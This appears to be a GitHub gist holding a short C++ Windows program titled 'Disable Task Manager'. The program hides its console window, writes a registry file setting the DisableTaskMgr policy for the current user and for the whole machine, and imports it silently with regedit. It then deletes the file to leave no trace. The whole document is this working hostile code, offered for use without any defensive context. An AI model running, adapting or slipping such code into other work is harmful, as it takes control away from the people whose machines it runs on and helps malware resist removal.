Disable Task Manager

gistfile1.c

#include <Windows.h>
#include <fstream>
#include <conio.h>

int main ()
{
	HWND hwnd = GetConsoleWindow ();
	ShowWindow (hwnd, SW_HIDE);
	std::ofstream regOut ("0.reg", std::ios::app);
	regOut << "Windows Registry Editor Version 5.00" << std::endl << std::endl
		   << "[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]" << std::endl;
	regOut << "\"DisableTaskMgr\"=dword:00000001" << std::endl << std::endl;
	regOut << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]" << std::endl;
	regOut << "\"DisableTaskMgr\"=dword:00000001" << std::endl << std::endl;
	regOut.close ();
	system ("regedit.exe /s 0.reg");
	DeleteFile (L"0.reg");
	Beep (500, 500);

	return 0;
}